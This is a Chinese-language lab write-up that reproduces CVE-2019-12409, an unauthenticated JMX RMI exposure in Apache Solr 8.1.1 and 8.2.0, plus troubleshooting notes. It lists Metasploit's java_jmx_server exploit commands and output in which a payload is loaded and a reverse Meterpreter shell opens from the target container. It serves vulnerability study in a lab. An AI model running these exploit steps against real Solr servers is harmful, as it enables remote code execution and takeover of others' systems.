

Apache Solr 远程代码执行漏洞复现

（CVE-2019-12409）

0x00 漏洞概述

Solr 是一个独立的企业级搜索应用服务器，它对外提供类似于 Web-service 的 API 接口。是 apache 的顶级开源项目，使用 java 开发，基于 lucene 的全文检索服务器。

该漏洞是在受影响的版本中，默认情况下配置文件 `solr.in.sh` 的配置选项 `ENABLE_REMOTE_JMX_OPTS` 字段值是“true”，这会启用 JMX 监视服务并会在公网中监听一个 18983 的 RMI 端口，没有任何认证。也就是说在无需身份验证情况下，攻击者结合使用 JMX RMI 就会造成远程代码攻击。

0x01 前置条件

无

0x02 影响版本

Solr 8.1.1

Solr 8.2.0

0x03 环境搭建

攻击机环境及工具：kali2020、msf5

测试机环境及工具：kali2020 、 docker

环境搭建：

使用 docker 拉取环境：

docker pull solr:8.2.0

启动 Solr 容器：

docker run --name my-solr1 -d -p 8983:8983 -p 18983:18983 -t solr:8.2.0

0x04 漏洞复现

POC1 复现

poc 来源：使用 msf5 中的 exp

wql@kali:~\$ msfconsole

msf5 > search jmx

结果如图 0

```
Metasploit tip: Use help <command> to learn more about any command

msf5 > search jmx

Matching Modules
=====

#  Name                                     Disclosure Date  Rank
Check Description
-  -
-----
0  auxiliary/admin/http/jboss_bshdeployer    2013-05-22      normal
No  JBoss JMX Console Beanshell Deployer WAR Upload and Deployment
1  auxiliary/admin/http/jboss_deploymentfilerepository 2013-05-22      normal
No  JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment
2  auxiliary/scanner/misc/java_jmx_server     2013-05-22      normal
No  Java JMX Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_jre17_jmxbean   2013-01-10      excellen
t No  Java Applet JMX Remote Code Execution
4  exploit/multi/browser/java_jre17_jmxbean_2 2013-01-19      excellen
t No  Java Applet JMX Remote Code Execution
5  exploit/multi/http/jboss_bshdeployer       2010-04-26      excellen
t No  JBoss JMX Console Beanshell Deployer WAR Upload and Deployment
6  exploit/multi/http/jboss_invoke_deploy     2007-02-20      excellen
t Yes JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)
7  exploit/multi/http/jboss_maindeployer      2007-02-20      excellen
t No  JBoss JMX Console Deployer Upload and Execute
8  exploit/multi/misc/java_jmx_server         2013-05-22      excellen
t Yes Java JMX Server Insecure Configuration Java Code Execution
9  exploit/multi/misc/java_rmi_server         2011-10-15      excellen
t No  Java RMI Server Insecure Default Configuration Java Code Execution
```

图 0

msf5 > use exploit/multi/misc/java_jmx_server

msf5 exploit(multi/misc/java_jmx_server) > show options

结果如下图 1

```
msf5 > use exploit/multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > show options

Module options (exploit/multi/misc/java_jmx_server):

  Name          Current Setting  Required  Description
  ----          -
  JMXRMI         jmxrmi          yes       The name where the JMX RMI interface is
bound
  JMX_PASSWORD   jmxrmi          no        The password to interact with an authenticat
icated JMX endpoint
  JMX_ROLE       jmxrmi          no        The role to interact with an authenticat
ed JMX endpoint
  RHOSTS         172.17.0.1      yes       The target host(s), range CIDR identifie
r, or hosts file with syntax 'file:<path>'
  RPORT         18983           yes       The target port (TCP)
  SRVHOST        0.0.0.0         yes       The local host to listen on. This must b
e an address on the local machine or 0.0.0.0
  SRVPORT        8080            yes       The local port to listen on.
  SSLCert        8080            no        Path to a custom SSL certificate (default
t is randomly generated)
  URIPATH        8080            no        The URI to use for this exploit (default
is random)

Exploit target:

  Id  Name
  --  ---
  0    Generic (Java Payload)
```

图 1

msf5 exploit(multi/misc/java_jmx_server) > set rhosts 172.17.0.1 注：设置目标地址
msf5 exploit(multi/misc/java_jmx_server) > set rport 18983 注：设置目标端口
msf5 exploit(multi/misc/java_jmx_server) > run
结果如图 2

```
0 Generic (Java Payload)

msf5 exploit(multi/misc/java_jmx_server) > set rhosts 172.17.0.1
rhosts => 172.17.0.1
msf5 exploit(multi/misc/java_jmx_server) >
msf5 exploit(multi/misc/java_jmx_server) > set rport 18983
rport => 18983
msf5 exploit(multi/misc/java_jmx_server) >
msf5 exploit(multi/misc/java_jmx_server) >
msf5 exploit(multi/misc/java_jmx_server) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] 172.17.0.1:18983 - Using URL: http://0.0.0.0:8080/auPxvJx0y9WJx
[*] 172.17.0.1:18983 - Local IP: http://192.168.60.134:8080/auPxvJx0y9WJx
[*] 172.17.0.1:18983 - Sending RMI Header ...
[*] 172.17.0.1:18983 - Discovering the JMXRMI endpoint ...
[+] 172.17.0.1:18983 - JMXRMI endpoint on 172.17.0.2:18983
[*] 172.17.0.1:18983 - Proceeding with handshake ...
[+] 172.17.0.1:18983 - Handshake with JMX MBean server on 172.17.0.2:18983
[*] 172.17.0.1:18983 - Loading payload ...
[*] 172.17.0.1:18983 - Replied to request for mlet
[*] 172.17.0.1:18983 - Replied to request for payload JAR
[*] 172.17.0.1:18983 - Executing payload ...
[*] 172.17.0.1:18983 - Replied to request for payload JAR
[*] Sending stage (53906 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:37896) at 2020-04-16
15:42:31 +0800
```

图 2

执行 pwd

```
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
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meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter >  
meterpreter > pwd  
/opt/solr-8.2.0/server  
meterpreter >
```

失败原因 1:

如图 4

```
wql@kali: ~  
文件(F) 动作(A) 编辑(E) 查看(V) 帮助(H)  
ENABLE_REMOTE_JMX_OPTS="true"  
  
# The script will use SOLR_PORT+10000 for the RMI_PORT or you can se  
re  
# RMI_PORT=18983  
  
# Anything you add to the SOLR_OPTS variable will be included in the  
# start command line as-is, in ADDITION to other options. If you spe  
e  
# -a option on start script, those options will be appended as well.  
es:  
#SOLR_OPTS="$SOLR_OPTS -Dsoler.autoSoftCommit.maxTime=3000"  
#SOLR_OPTS="$SOLR_OPTS -Dsoler.autoCommit.maxTime=60000"  
#SOLR_OPTS="$SOLR_OPTS -Dsoler.clustering.enabled=true"  
  
# Location where the bin/solr script will save PID files for running  
ces  
# If not set, the script will create PID files in $SOLR_TIP/bin  
#SOLR_PID_DIR=  
  
# Path to a directory for Solr to store cores and their data. By def  
olr will use server/solr  
# If solr.xml is not stored in ZooKeeper, this directory needs to co
```

解决方法:

启用容器时指定 2 个端口:

```
docker run --name my-solr1 -d -p 8983:8983 -p 18983:18983 -t solr:8.2.0
```

失败原因 2:

Kali2020 版本 msf5 启动失败。

解决办法:

由于默认安装的 bundler 为最新版本 2.1.4。msfconsole 依赖的版本为 1.17.3，所以需要安装旧版本。执行如下命令:

```
root@kali:~# gem install bundler:1.17.3
```

失败原因 3:

Kali 搭建环境失败:

在 kali 下搭建的漏洞环境，然后 run 多次后仍旧失败，经查看发现 kali 下的 java 版本是 openjdk version "11.0.6" 2020-01-14，怀疑可能是 java 版本过高导致的利用失败，故在 ubuntu16.04_x64_en-us 下使用 java8 重新搭建 solr-8.2.0.zip，漏洞利用成功。

看到过别人在 java10 下也有利用成功的经验，怀疑可能 exp 针对 java10 及以下的版本才有效。